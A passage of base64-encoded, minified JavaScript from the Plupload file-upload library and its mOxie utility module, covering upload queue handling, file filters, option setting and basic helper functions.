93c2UiKX0pLGUuYmluZCgiZXJyb3IgcnVudGltZWVycm9yIixmdW5jdGlvbigpe2U9bnVsbCx0KCl9KSxlLmluaXQoKX0pfSksbi5nZXRPcHRpb24oImRyb3BfZWxlbWVudCIpJiZwLmVhY2gobi5nZXRPcHRpb24oImRyb3BfZWxlbWVudCIpLGZ1bmN0aW9uKGkpe3QucHVzaChmdW5jdGlvbih0KXt2YXIgZT1uZXcgdy5maWxlLkZpbGVEcm9wKHAuZXh0ZW5kKHt9LG8se2Ryb3Bfem9uZTppfSkpO2Uub25yZWFkeT1mdW5jdGlvbigpe3ZhciBlPXAuUnVudGltZS5nZXRJbmZvKHRoaXMucnVpZCk7cC5leHRlbmQobi5mZWF0dXJlcyx7Y2h1bmtzOmUuY2FuKCJzbGljZV9ibG9iIiksbXVsdGlwYXJ0OmUuY2FuKCJzZW5kX211bHRpcGFydCIpLGRyYWdkcm9wOmUuY2FuKCJkcmFnX2FuZF9kcm9wIil9KSxyKyssdS5wdXNoKHRoaXMpLHQoKX0sZS5vbmRyb3A9ZnVuY3Rpb24oKXtuLmFkZEZpbGUodGhpcy5maWxlcyl9LGUuYmluZCgiZXJyb3IgcnVudGltZWVycm9yIixmdW5jdGlvbigpe2U9bnVsbCx0KCl9KSxlLmluaXQoKX0pfSkscC5pblBhcmFsbGVsKHQsZnVuY3Rpb24oKXsiZnVuY3Rpb24iPT10eXBlb2YgZSYmZShyKX0pfS5jYWxsKHIsZnVuY3Rpb24oZSl7dmFyIHQsaT1yLmdldE9wdGlvbigiaW5pdCIpLG49cC5leHRlbmRJbW11dGFibGUoe30sci5nZXRPcHRpb24oKSx7YXV0b19zdGFydDohMH0pOyJmdW5jdGlvbiI9PXR5cGVvZiBpP2kocik6cC5lYWNoKGksZnVuY3Rpb24oZSx0KXtyLmJpbmQodCxlKX0pLGU/KGQ9ITAsdD1wLlJ1bnRpbWUuZ2V0SW5mbyhvKCkpLGM9bmV3IGYobiksbD1uZXcgZyhuKSxyLnRyaWdnZXIoIkluaXQiLHtydWlkOnQudWlkLHJ1bnRpbWU6ci5ydW50aW1lPXQudHlwZX0pLHIudHJpZ2dlcigiUG9zdEluaXQiKSk6ci50cmlnZ2VyKCJFcnJvciIse2NvZGU6cC5JTklUX0VSUk9SLG1lc3NhZ2U6cC50cmFuc2xhdGUoIkluaXQgZXJyb3IuIil9KX0pOnIudHJpZ2dlcigiRXJyb3IiLHtjb2RlOnAuSU5JVF9FUlJPUixtZXNzYWdlOnAudHJhbnNsYXRlKCJZb3UgbXVzdCBzcGVjaWZ5IGVpdGhlciBicm93c2VfYnV0dG9uIG9yIGRyb3BfZWxlbWVudC4iKX0pfSxzZXRPcHRpb246ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZCYmLTE8cC5pbkFycmF5KGUsWyJjb250YWluZXIiLCJicm93c2VfYnV0dG9uIiwiZHJvcF9lbGVtZW50IiwicnVudGltZXMiLCJtdWx0aV9zZWxlY3Rpb24iLCJmbGFzaF9zd2ZfdXJsIiwic2lsdmVybGlnaHRfeGFwX3VybCJdKT90aGlzLnRyaWdnZXIoIkVycm9yIix7Y29kZTpwLk9QVElPTl9FUlJPUixtZXNzYWdlOnAuc3ByaW50ZihwLnRyYW5zbGF0ZSgiJXMgb3B0aW9uIGNhbm5vdCBiZSBjaGFuZ2VkLiIpKSxvcHRpb246ZX0pOigib2JqZWN0IiE9dHlwZW9mIGUmJih0PXkoZSx0LHRoaXMuX29wdGlvbnMpLGMmJmMuc2V0T3B0aW9uKGUsdCksbCYmbC5zZXRPcHRpb24oZSx0KSksdm9pZCB2LnByb3RvdHlwZS5zZXRPcHRpb24uY2FsbCh0aGlzLGUsdCkpfSxyZWZyZXNoOmZ1bmN0aW9uKCl7YS5sZW5ndGgmJnAuZWFjaChhLGZ1bmN0aW9uKGUpe2UudHJpZ2dlcigiUmVmcmVzaCIpfSksdS5sZW5ndGgmJnAuZWFjaCh1LGZ1bmN0aW9uKGUpe2UudHJpZ2dlcigiUmVmcmVzaCIpfSksdGhpcy50cmlnZ2VyKCJSZWZyZXNoIil9LHN0b3A6ZnVuY3Rpb24oKXt2LnByb3RvdHlwZS5zdG9wLmNhbGwodGhpcykmJnRoaXMuc3RhdGUhPXAuU1RPUFBFRCYmdGhpcy50cmlnZ2VyKCJDYW5jZWxVcGxvYWQiKX0sZGlzYWJsZUJyb3dzZTpmdW5jdGlvbigpe2g9YXJndW1lbnRzWzBdPT09X3x8YXJndW1lbnRzWzBdLGEubGVuZ3RoJiZwLmVhY2goYSxmdW5jdGlvbihlKXtlLmRpc2FibGUoaCl9KSx0aGlzLnRyaWdnZXIoIkRpc2FibGVCcm93c2UiLGgpfSxnZXRGaWxlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmdldEl0ZW0oZSl9LGFkZEZpbGU6ZnVuY3Rpb24oZSxzKXt2YXIgaSxhPXRoaXMsbj1bXSx1PVtdO2k9bygpLGZ1bmN0aW9uIGUobyl7dmFyIHQ9cC50eXBlT2Yobyk7aWYobyBpbnN0YW5jZW9mIHcuZmlsZS5GaWxlKXtpZighby5ydWlkJiYhby5pc0RldGFjaGVkKCkpe2lmKCFpKXJldHVybiExO28ucnVpZD1pLG8uY29ubmVjdFJ1bnRpbWUoaSl9bi5wdXNoKGZ1bmN0aW9uKG4pe3ZhciByLGUsdDtyPW8sZT1mdW5jdGlvbihlKXt2YXIgdCxpO2V8fCh0PW5ldyB4KG8sYyxsKSxzJiYodC5uYW1lPXMpLChpPXQpLmJpbmQoImJlZm9yZXN0YXJ0IixmdW5jdGlvbihlKXtyZXR1cm4gYS50cmlnZ2VyKCJCZWZvcmVVcGxvYWQiLGUudGFyZ2V0KX0pLGkuYmluZCgic3RhcnR1cGxvYWQiLGZ1bmN0aW9uKCl7YS50cmlnZ2VyKCJVcGxvYWRGaWxlIix0aGlzKX0pLGkuYmluZCgicHJvZ3Jlc3MiLGZ1bmN0aW9uKCl7YS50cmlnZ2VyKCJVcGxvYWRQcm9ncmVzcyIsdGhpcyl9KSxpLmJpbmQoImRvbmUiLGZ1bmN0aW9uKGUsdCl7YS50cmlnZ2VyKCJGaWxlVXBsb2FkZWQiLHRoaXMsdCl9KSxpLmJpbmQoImZhaWxlZCIsZnVuY3Rpb24oZSx0KXthLnRyaWdnZXIoIkVycm9yIixwLmV4dGVuZCh7Y29kZTpwLkhUVFBfRVJST1IsbWVzc2FnZTpwLnRyYW5zbGF0ZSgiSFRUUCBFcnJvci4iKSxmaWxlOnRoaXN9LHQpKX0pLGEuYWRkSXRlbSh0KSx1LnB1c2godCksYS50cmlnZ2VyKCJGaWxlRmlsdGVyZWQiLHQpKSxwLmRlbGF5KG4pfSx0PVtdLHAuZWFjaChhLmdldE9wdGlvbigiZmlsdGVycyIpLGZ1bmN0aW9uKGUsaSl7RVtpXSYmdC5wdXNoKGZ1bmN0aW9uKHQpe0VbaV0uY2FsbChhLGUscixmdW5jdGlvbihlKXt0KCFlKX0pfSl9KSxwLmluUGFyYWxsZWwodCxlKX0pfWVsc2UgbyBpbnN0YW5jZW9mIHcuZmlsZS5CbG9iPyhlKG8uZ2V0U291cmNlKCkpLG8uZGVzdHJveSgpKTotMSE9PXAuaW5BcnJheSh0LFsiZmlsZSIsImJsb2IiXSk/ZShuZXcgdy5maWxlLkZpbGUobnVsbCxvKSk6Im5vZGUiPT09dCYmImZpbGVsaXN0Ij09PXAudHlwZU9mKG8uZmlsZXMpP3AuZWFjaChvLmZpbGVzLGUpOiJhcnJheSI9PT10JiYocz1udWxsLHAuZWFjaChvLGUpKX0oZSksbi5sZW5ndGgmJnAuaW5QYXJhbGxlbChuLGZ1bmN0aW9uKCl7dS5sZW5ndGgmJmEudHJpZ2dlcigiRmlsZXNBZGRlZCIsdSl9KX0scmVtb3ZlRmlsZTpmdW5jdGlvbihlKXt2YXIgdD10aGlzLmV4dHJhY3RJdGVtKCJzdHJpbmciPT10eXBlb2YgZT9lOmUudWlkKTt0JiYodGhpcy50cmlnZ2VyKCJGaWxlc1JlbW92ZWQiLFt0XSksdC5kZXN0cm95KCkpfSxzcGxpY2U6ZnVuY3Rpb24oKXt2YXIgZT0wLHQ9cC5TVEFSVEVEPT10aGlzLnN0YXRlLGk9bS5wcm90b3R5cGUuc3BsaWNlLmFwcGx5KHRoaXMsYXJndW1lbnRzKTtpZihpLmxlbmd0aCl7Zm9yKHRoaXMudHJpZ2dlcigiRmlsZXNSZW1vdmVkIixpKSx0JiZ0aGlzLnN0b3AoKSxlPTA7ZTxpLmxlbmd0aDtlKyspaVtlXS5kZXN0cm95KCk7dCYmdGhpcy5zdGFydCgpfX0sZGlzcGF0Y2hFdmVudDpmdW5jdGlvbihlKXt2YXIgdCxpO2lmKGU9ZS50b0xvd2VyQ2FzZSgpLHQ9dGhpcy5oYXNFdmVudExpc3RlbmVyKGUpKXt0LnNvcnQoZnVuY3Rpb24oZSx0KXtyZXR1cm4gdC5wcmlvcml0eS1lLnByaW9yaXR5fSksKGk9W10uc2xpY2UuY2FsbChhcmd1bWVudHMpKS5zaGlmdCgpLGkudW5zaGlmdCh0aGlzKTtmb3IodmFyIG49MDtuPHQubGVuZ3RoO24rKylpZighMT09PXRbbl0uZm4uYXBwbHkodFtuXS5zY29wZSxpKSlyZXR1cm4hMX1yZXR1cm4hMH0sYmluZDpmdW5jdGlvbihlLHQsaSxuKXtwLlVwbG9hZGVyLnByb3RvdHlwZS5iaW5kLmNhbGwodGhpcyxlLHQsbixpKX19KSx0LmJhY2t3YXJkX2NvbXBhdGliaWxpdHkmJih0aGlzLmJpbmQoIkZpbGVzQWRkZWQgRmlsZXNSZW1vdmVkIixmdW5jdGlvbihlKXtlLmZpbGVzPWUudG9BcnJheSgpfSx0aGlzLDk5OSksdGhpcy5iaW5kKCJPcHRpb25DaGFuZ2VkIixmdW5jdGlvbihlLHQsaSl7ZS5zZXR0aW5nc1t0XT0ib2JqZWN0Ij09dHlwZW9mIGk/cC5leHRlbmQoe30saSk6aX0sdGhpcyw5OTkpKX1mdW5jdGlvbiBzKGUpe2Z1bmN0aW9uIGkoZSx0LGkpe3ZhciBuPXtjaHVua3M6InNsaWNlX2Jsb2IiLGpwZ3Jlc2l6ZToic2VuZF9iaW5hcnlfc3RyaW5nIixwbmdyZXNpemU6InNlbmRfYmluYXJ5X3N0cmluZyIscHJvZ3Jlc3M6InJlcG9ydF91cGxvYWRfcHJvZ3Jlc3MiLG11bHRpX3NlbGVjdGlvbjoic2VsZWN0X211bHRpcGxlIixkcmFnZHJvcDoiZHJhZ19hbmRfZHJvcCIsZHJvcF9lbGVtZW50OiJkcmFnX2FuZF9kcm9wIixoZWFkZXJzOiJzZW5kX2N1c3RvbV9oZWFkZXJzIix1cmxzdHJlYW1fdXBsb2FkOiJzZW5kX2JpbmFyeV9zdHJpbmciLGNhblNlbmRCaW5hcnk6InNlbmRfYmluYXJ5Iix0cmlnZ2VyRGlhbG9nOiJzdW1tb25fZmlsZV9kaWFsb2cifTtuW2VdP3JbbltlXV09dDppfHwocltlXT10KX12YXIgdD1lLnJlcXVpcmVkX2ZlYXR1cmVzLHI9e307cmV0dXJuInN0cmluZyI9PXR5cGVvZiB0P3AuZWFjaCh0LnNwbGl0KC9ccyosXHMqLyksZnVuY3Rpb24oZSl7aShlLCEwKX0pOiJvYmplY3QiPT10eXBlb2YgdD9wLmVhY2godCxmdW5jdGlvbihlLHQpe2kodCxlKX0pOiEwPT09dCYmKGUuY2h1bmtfc2l6ZSYmMDxlLmNodW5rX3NpemUmJihyLnNsaWNlX2Jsb2I9ITApLHAuaXNFbXB0eU9iaihlLnJlc2l6ZSkmJiExIT09ZS5tdWx0aXBhcnR8fChyLnNlbmRfYmluYXJ5X3N0cmluZz0hMCksZS5odHRwX21ldGhvZCYmKHIudXNlX2h0dHBfbWV0aG9kPWUuaHR0cF9tZXRob2QpLHAuZWFjaChlLGZ1bmN0aW9uKGUsdCl7aSh0LCEhZSwhMCl9KSkscn1mdW5jdGlvbiB5KGUsdCxpKXtzd2l0Y2goZSl7Y2FzZSJjaHVua19zaXplIjoodD1wLnBhcnNlU2l6ZSh0KSkmJihpLnNlbmRfZmlsZV9uYW1lPSEwKTticmVhaztjYXNlImhlYWRlcnMiOnZhciBuPXt9O3JldHVybiJvYmplY3QiPT10eXBlb2YgdCYmcC5lYWNoKHQsZnVuY3Rpb24oZSx0KXtuW3QudG9Mb3dlckNhc2UoKV09ZX0pLG47Y2FzZSJodHRwX21ldGhvZCI6cmV0dXJuIlBVVCI9PT10LnRvVXBwZXJDYXNlKCk/IlBVVCI6IlBPU1QiO2Nhc2UiZmlsdGVycyI6cmV0dXJuImFycmF5Ij09PXAudHlwZU9mKHQpJiYodD17bWltZV90eXBlczp0fSksdC5taW1lX3R5cGVzJiYoInN0cmluZyI9PT1wLnR5cGVPZih0Lm1pbWVfdHlwZXMpJiYodC5taW1lX3R5cGVzPXAubWltZXMyZXh0TGlzdCh0Lm1pbWVfdHlwZXMpKSxpLnJlX2V4dF9maWx0ZXI9KHI9dC5taW1lX3R5cGVzLG89W10scC5lYWNoKHIsZnVuY3Rpb24oZSl7cC5lYWNoKGUuZXh0ZW5zaW9ucy5zcGxpdCgvLC8pLGZ1bmN0aW9uKGUpey9eXHMqXCpccyokLy50ZXN0KGUpP28ucHVzaCgiXFwuKiIpOm8ucHVzaCgiXFwuIitlLnJlcGxhY2UobmV3IFJlZ0V4cCgiWyIrIi9eJC4qKz98KClbXXt9XFwiLnJlcGxhY2UoLy4vZywiXFwkJiIpKyJdIiwiZyIpLCJcXCQmIikpfSl9KSxuZXcgUmVnRXhwKCIoIitvLmpvaW4oInwiKSsiKSQiLCJpIikpKSx0O2Nhc2UibWF4X2ZpbGVfc2l6ZSI6aSYmIWkuZmlsdGVycyYmKGkuZmlsdGVycz17fSksaS5maWx0ZXJzLm1heF9maWxlX3NpemU9dDticmVhaztjYXNlIm11bHRpcGFydCI6dHx8KGkuc2VuZF9maWxlX25hbWU9ITApO2JyZWFrO2Nhc2UibXVsdGlwYXJ0X3BhcmFtcyI6aS5wYXJhbXM9aS5tdWx0aXBhcnRfcGFyYW1zPXQ7YnJlYWs7Y2FzZSJyZXNpemUiOnJldHVybiEhdCYmcC5leHRlbmQoe3ByZXNlcnZlX2hlYWRlcnM6ITAsY3JvcDohMX0sdCk7Y2FzZSJwcmV2ZW50X2R1cGxpY2F0ZXMiOmkmJiFpLmZpbHRlcnMmJihpLmZpbHRlcnM9e30pLGkuZmlsdGVycy5wcmV2ZW50X2R1cGxpY2F0ZXM9ISF0O2JyZWFrO2Nhc2UidW5pcXVlX25hbWVzIjp0JiYoaS5zZW5kX2ZpbGVfbmFtZT0hMCk7YnJlYWs7Y2FzZSJyZXF1aXJlZF9mZWF0dXJlcyI6cmV0dXJuIHMocC5leHRlbmQoe30saSkpO2Nhc2UicHJlZmVycmVkX2NhcHMiOnJldHVybiBzKHAuZXh0ZW5kKHt9LGkse3JlcXVpcmVkX2ZlYXR1cmVzOiEwfSkpO2Nhc2UiY29udGFpbmVyIjpjYXNlImJyb3dzZV9idXR0b24iOmNhc2UiZHJvcF9lbGVtZW50IjpyZXR1cm4iY29udGFpbmVyIj09PWU/cC5nZXQodCk6cC5nZXRBbGwodCl9dmFyIHIsbztyZXR1cm4gdH1mdW5jdGlvbiB0KGUsdCl7RVtlXT10fXZhciBfLEU9e307cmV0dXJuIHQoIm1pbWVfdHlwZXMiLGZ1bmN0aW9uKGUsdCxpKXtlLmxlbmd0aCYmIXRoaXMuZ2V0T3B0aW9uKCJyZV9leHRfZmlsdGVyIikudGVzdCh0Lm5hbWUpPyh0aGlzLnRyaWdnZXIoIkVycm9yIix7Y29kZTpwLkZJTEVfRVhURU5TSU9OX0VSUk9SLG1lc3NhZ2U6cC50cmFuc2xhdGUoIkZpbGUgZXh0ZW5zaW9uIGVycm9yLiIpLGZpbGU6dH0pLGkoITEpKTppKCEwKX0pLHQoIm1heF9maWxlX3NpemUiLGZ1bmN0aW9uKGUsdCxpKXtlPXAucGFyc2VTaXplKGUpLHZvaWQgMCE9PXQuc2l6ZSYmZSYmdC5zaXplPmU/KHRoaXMudHJpZ2dlcigiRXJyb3IiLHtjb2RlOnAuRklMRV9TSVpFX0VSUk9SLG1lc3NhZ2U6cC50cmFuc2xhdGUoIkZpbGUgc2l6ZSBlcnJvci4iKSxmaWxlOnR9KSxpKCExKSk6aSghMCl9KSx0KCJwcmV2ZW50X2R1cGxpY2F0ZXMiLGZ1bmN0aW9uKGUsdCxpKXt2YXIgbj10aGlzO2UmJnRoaXMuZm9yRWFjaEl0ZW0oZnVuY3Rpb24oZSl7cmV0dXJuIHQubmFtZT09PWUubmFtZSYmdC5zaXplPT09ZS5zaXplPyhuLnRyaWdnZXIoIkVycm9yIix7Y29kZTpwLkZJTEVfRFVQTElDQVRFX0VSUk9SLG1lc3NhZ2U6cC50cmFuc2xhdGUoIkR1cGxpY2F0ZSBmaWxlIGVycm9yLiIpLGZpbGU6dH0pLHZvaWQgaSghMSkpOnZvaWQgMH0pLGkoITApfSksdCgicHJldmVudF9lbXB0eSIsZnVuY3Rpb24oZSx0LGkpe2UmJiF0LnNpemUmJnQuc2l6ZSE9PV8/KHRoaXMudHJpZ2dlcigiRXJyb3IiLHtjb2RlOnAuRklMRV9TSVpFX0VSUk9SLG1lc3NhZ2U6cC50cmFuc2xhdGUoIkZpbGUgc2l6ZSBlcnJvci4iKSxmaWxlOnR9KSxpKCExKSk6aSghMCl9KSx2LmFkZEZpbGVGaWx0ZXI9dCxwLmluaGVyaXQodixtKSxwLmFkZEZpbGVGaWx0ZXI9dCxwLnByZWRpY3RSdW50aW1lPWZ1bmN0aW9uKGUsdCl7dmFyIGksbjtyZXR1cm4gaT1uZXcgdihlKSxuPXAuUnVudGltZS50aGF0Q2FuKGkuZ2V0T3B0aW9uKCJyZXF1aXJlZF9mZWF0dXJlcyIpLHR8fGUucnVudGltZXMpLGkuZGVzdHJveSgpLG59LHZ9KSxmdW5jdGlvbihlKXtmb3IodmFyIHQ9MDt0PGUubGVuZ3RoO3QrKyl7Zm9yKHZhciBpPXMsbj1lW3RdLHI9bi5zcGxpdCgvWy5cL10vKSxvPTA7bzxyLmxlbmd0aC0xOysrbylpW3Jbb11dPT09YSYmKGlbcltvXV09e30pLGk9aVtyW29dXTtpW3Jbci5sZW5ndGgtMV1dPWNbbl19fShbInBsdXBsb2FkIiwicGx1cGxvYWQvY29yZS9Db2xsZWN0aW9uIiwicGx1cGxvYWQvY29yZS9BcnJDb2xsZWN0aW9uIiwicGx1cGxvYWQvY29yZS9PcHRpb25hYmxlIiwicGx1cGxvYWQvY29yZS9RdWV1ZWFibGUiLCJwbHVwbG9hZC9jb3JlL1N0YXRzIiwicGx1cGxvYWQvY29yZS9RdWV1ZSIsInBsdXBsb2FkL1F1ZXVlVXBsb2FkIiwicGx1cGxvYWQvUXVldWVSZXNpemUiLCJwbHVwbG9hZC9DaHVua1VwbG9hZGVyIiwicGx1cGxvYWQvRmlsZVVwbG9hZGVyIiwicGx1cGxvYWQvSW1hZ2VSZXNpemVyIiwicGx1cGxvYWQvRmlsZSIsInBsdXBsb2FkL1VwbG9hZGVyIl0pfSh0aGlzKX0uYXBwbHkoZSxhcmd1bWVudHMpLGUucGx1cGxvYWR9OyJmdW5jdGlvbiI9PXR5cGVvZiBkZWZpbmUmJmRlZmluZS5hbWQ/ZGVmaW5lKCJwbHVwbG9hZCIsWyIuL21veGllIl0saSk6Im9iamVjdCI9PXR5cGVvZiBtb2R1bGUmJm1vZHVsZS5leHBvcnRzP21vZHVsZS5leHBvcnRzPWkocmVxdWlyZSgiLi9tb3hpZSIpKTplLnBsdXBsb2FkPWkoZS5tb3hpZSl9KHRoaXN8fHdpbmRvdyksZnVuY3Rpb24oZSx0KXt2YXIgaT1mdW5jdGlvbigpe3ZhciBlPXt9O3JldHVybiBmdW5jdGlvbigpeyFmdW5jdGlvbihzLHkpeyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBlKG8sZSxzKXtpZigic3RyaW5nIiE9dHlwZW9mIG8pdGhyb3ciaW52YWxpZCBtb2R1bGUgZGVmaW5pdGlvbiwgbW9kdWxlIGlkIG11c3QgYmUgZGVmaW5lZCBhbmQgYmUgYSBzdHJpbmciO2lmKGU9PT15KXRocm93ImludmFsaWQgbW9kdWxlIGRlZmluaXRpb24sIGRlcGVuZGVuY2llcyBtdXN0IGJlIHNwZWNpZmllZCI7aWYocz09PXkpdGhyb3ciaW52YWxpZCBtb2R1bGUgZGVmaW5pdGlvbiwgZGVmaW5pdGlvbiBmdW5jdGlvbiBtdXN0IGJlIHNwZWNpZmllZCI7IWZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBpLG49W10scj0wO3I8ZS5sZW5ndGg7KytyKXtpZighKGk9dVtlW3JdXXx8YShlW3JdKSkpdGhyb3cibW9kdWxlIGRlZmluaXRpb24gZGVwZW5kZWN5IG5vdCBmb3VuZDogIitlW3JdO24ucHVzaChpKX0oZnVuY3Rpb24oKXt1W29dPXMuYXBwbHkobnVsbCxhcmd1bWVudHMpfSkuYXBwbHkobnVsbCxuKX0oZSl9ZnVuY3Rpb24gZChlKXtyZXR1cm4hIXVbZV19ZnVuY3Rpb24gYShlKXtmb3IodmFyIHQ9cyxpPWUuc3BsaXQoL1suXC9dLyksbj0wO248aS5sZW5ndGg7KytuKXtpZighdFtpW25dXSlyZXR1cm47dD10W2lbbl1dfXJldHVybiB0fXZhciB1PXt9O2UoIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLFtdLGZ1bmN0aW9uKCl7ZnVuY3Rpb24gcyhlKXtyZXR1cm4gdm9pZCAwPT09ZT8idW5kZWZpbmVkIjpudWxsPT09ZT8ibnVsbCI6ZS5ub2RlVHlwZT8ibm9kZSI6e30udG9TdHJpbmcuY2FsbChlKS5tYXRjaCgvXHMoW2EtenxBLVpdKykvKVsxXS50b0xvd2VyQ2FzZSgpfWZ1bmN0aW9uIGEoKXtyZXR1cm4gdSghMSwhMSxhcmd1bWVudHMpfWZ1bmN0aW9uIHUobixyLGUpe3ZhciBvPWVbMF07cmV0dXJuIGMoZSxmdW5jdGlvbihlLHQpezA8dCYmYyhlLGZ1bmN0aW9uKGUsdCl7dmFyIGk9LTEhPT1sKHMoZSksWyJhcnJheSIsIm9iamVjdCJdKTtyZXR1cm4hISh2b2lkIDA9PT1lfHxuJiZ2b2lkIDA9PT1vW3RdKXx8KGkmJnImJihlPWZ1bmN0aW9uKGUpe3N3aXRjaChzKGUpKXtjYXNlImFycmF5IjpyZXR1cm4gQXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoZSk7Y2FzZSJvYmplY3QiOnJldHVybiBhKHt9LGUpfXJldHVybiBlfShlKSksdm9pZChzKG9bdF0pPT09cyhlKSYmaT91KG4scixbb1t0XSxlXSk6b1t0XT1lKSl9KX0pLG99ZnVuY3Rpb24gYyhlLHQpe3ZhciBpLG4scjtpZihlKXt0cnl7aT1lLmxlbmd0aH1jYXRjaChlKXtpPXZvaWQgMH1pZih2b2lkIDA9PT1pfHwibnVtYmVyIiE9dHlwZW9mIGkpe2ZvcihuIGluIGUpaWYoZS5oYXNPd25Qcm9wZXJ0eShuKSYmITE9PT10KGVbbl0sbikpcmV0dXJufWVsc2UgZm9yKHI9MDtyPGk7cisrKWlmKCExPT09dChlW3JdLHIpKXJldHVybn19ZnVuY3Rpb24gbChlLHQpe2lmKHQpe2lmKEFycmF5LnByb3RvdHlwZS5pbmRleE9mKXJldHVybiBBcnJheS5wcm90b3R5cGUuaW5kZXhPZi5jYWxsKHQsZSk7Zm9yKHZhciBpPTAsbj10Lmxlbmd0aDtpPG47aSsrKWlmKHRbaV09PT1lKXJldHVybiBpfXJldHVybi0xfXZhciBuO3JldHVybntndWlkOihuPTAsZnVuY3Rpb24oZSl7dmFyIHQsaT0obmV3IERhdGUpLmdldFRpbWUoKS50b1N0cmluZygzMik7Zm9yKHQ9MDt0PDU7dCsrKWkrPU1hdGguZmxvb3IoNjU1MzUqTWF0aC5yYW5kb20oKSkudG9TdHJpbmcoMzIpO3JldHVybihlfHwib18iKStpKyhuKyspLnRvU3RyaW5nKDMyKX0pLHR5cGVPZjpzLGV4dGVuZDphLGV4dGVuZElmOmZ1bmN0aW9uKCl7cmV0dXJuIHUoITAsITEsYXJndW1lbnRzKX0sZXh0ZW5kSW1tdXRhYmxlOmZ1bmN0aW9uKCl7cmV0dXJuIHUoITEsITAsYXJndW1lbnRzKX0sZXh0ZW5kSW1tdXRhYmxlSWY6ZnVuY3Rpb24oKXtyZXR1cm4gdSghMCwhMCxhcmd1bWVudHMpfSxjbG9uZTpmdW5jdGlvbihlKXtzd2l0Y2gocyhlKSl7Y2FzZSJhcnJheSI6cmV0dXJuIHUoITEsITAsW1tdLGVdKTtjYXNlIm9iamVjdCI6cmV0dXJuIHUoITEsITAsW3t9LGVdKTtkZWZhdWx0OnJldHVybiBlfX0saW5oZXJpdDpmdW5jdGlvbihlLHQpe2Z1bmN0aW9uIGkoKXt0aGlzLmNvbnN0cnVjdG9yPWV9Zm9yKHZhciBuIGluIHQpKHt9KS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHQsbikmJihlW25dPXRbbl0pO3JldHVybiBpLnByb3RvdHlwZT10LnByb3RvdHlwZSxlLnByb3RvdHlwZT1uZXcgaSxlLnBhcmVudD10LnByb3RvdHlwZSxlfSxlYWNoOmMsaXNFbXB0eU9iajpmdW5jdGlvbihlKXt2YXIgdDtpZighZXx8Im9iamVjdCIhPT1zKGUpKXJldHVybiEwO2Zvcih0IGluIGUpcmV0dXJuITE7cmV0dXJuITB9LGluU2VyaWVzOmZ1bmN0aW9uKGUsbil7dmFyIHI9ZS5sZW5ndGg7ImZ1bmN0aW9uIiE9PXMobikmJihuPWZ1bmN0aW9uKCl7fSksZSYmZS5sZW5ndGh8fG4oKSxmdW5jdGlvbiB0KGkpeyJmdW5jdGlvbiI9PT1zKGVbaV0pJiZlW2ldKGZ1bmN0aW9uKGUpeysraTxyJiYhZT90KGkpOm4oZSl9KX0oMCl9LGluUGFyYWxsZWw6ZnVuY3Rpb24oZSxuKXt2YXIgcj0wLG89ZS5sZW5ndGgscz1uZXcgQXJyYXkobyk7YyhlLGZ1bmN0aW9uKGUsaSl7ZShmdW5jdGlvbihlKXtpZihlKXJldHVybiBuKGUpO3ZhciB0PVtdLnNsaWNlLmNhbGwoYXJndW1lbnRzKTt0LnNoaWZ0KCksc1tpXT10LCsrcj09PW8mJihzLnVuc2hpZnQobnVsbCksbi5hcHBseSh0aGlzLHMpKX0pfSl9LGluQXJyYXk6bCxhcnJheURpZmY6ZnVuY3Rpb24oZSx0KXt2YXIgaT1bXTtmb3IodmFyIG4gaW4iYXJyYXkiIT09cyhlKSYmKGU9W2VdKSwiYXJyYXkiIT09cyh0KSYmKHQ9W3RdKSxlKS0xPT09bChlW25dLHQpJiZpLnB1c2goZVtuXSk7cmV0dXJuISFpLmxlbmd0aCYmaX0sYXJyYXlJbnRlcnNlY3Q6ZnVuY3Rpb24oZSx0KXt2YXIgaT1bXTtyZXR1cm4gYyhlLGZ1bmN0aW9uKGUpey0xIT09bChlLHQpJiZpLnB1c2goZSl9KSxpLmxlbmd0aD9pOm51bGx9LHRvQXJyYXk6ZnVuY3Rpb24oZSl7dmFyIHQsaT1bXTtmb3IodD0wO3Q8ZS5sZW5ndGg7dCsrKWlbdF09ZVt0XTtyZXR1cm4gaX0sdHJpbTpmdW5jdGlvbihlKXtyZXR1cm4gZT9TdHJpbmcucHJvdG90eXBlLnRyaW0/U3RyaW5nLnByb3RvdHlwZS50cmltLmNhbGwoZSk6ZS50b1N0cmluZygpLnJlcGxhY2UoL15ccyovLCIiKS5yZXBsYWNlKC9ccyokLywiIik6ZX0sc3ByaW50ZjpmdW5jdGlvbihlKXt2YXIgbj1bXS5zbGljZS5jYWxsKGFyZ3VtZW50cywxKTtyZXR1cm4gZS5yZXBsYWNlKC8lKFthLXpdKS9nLGZ1bmN0aW9uKGUsdCl7dmFyIGk9bi5zaGlmdCgpO3N3aXRjaCh0KXtjYXNlInMiOnJldHVybiBpKyIiO2Nhc2UiZCI6cmV0dXJuIHBhcnNlSW50KGksMTApO2Nhc2UiZiI6cmV0dXJuIHBhcnNlRmxvYXQoaSk7Y2FzZSJjIjpyZXR1cm4iIjtkZWZhdWx0OnJldHVybiBpfX0pfSxwYXJzZVNpemVTdHI6ZnVuY3Rpb24oZSl7aWYoInN0cmluZyIhPXR5cGVvZiBlKXJldHVybiBlO3ZhciB0LGk9e3Q6MTA5OTUxMTYyNzc3NixnOjEwNzM3NDE4MjQsbToxMDQ4NTc2LGs6MTAyNH07cmV0dXJuIHQ9KGU9L14oWzAtOVwuXSspKFt0bWdrXT8pJC8uZXhlYyhlLnRvTG93ZXJDYXNlKCkucmVwbGFjZSgvW14wLTlcLnRta2ddL2csIiIpKSlbMl0sZT0rZVsxXSxpLmhhc093blByb3BlcnR5KHQpJiYoZSo9aVt0XSksTWF0aC5mbG9vcihlKX0sZGVsYXk6ZnVuY3Rpb24oZSx0KXt2YXIgaT10aGlzO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtlLmNhbGwoaSl9LHR8fDEpfX19KSxlKCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSIsW10sZnVuY3Rpb24oKXt2YXIgcD1mdW5jdGlvbihlKXtyZXR1cm4gdW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KGUpKX0sbT1mdW5jdGlvbihlKXtyZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KGVzY2FwZShlKSl9O3JldHVybnt1dGY4X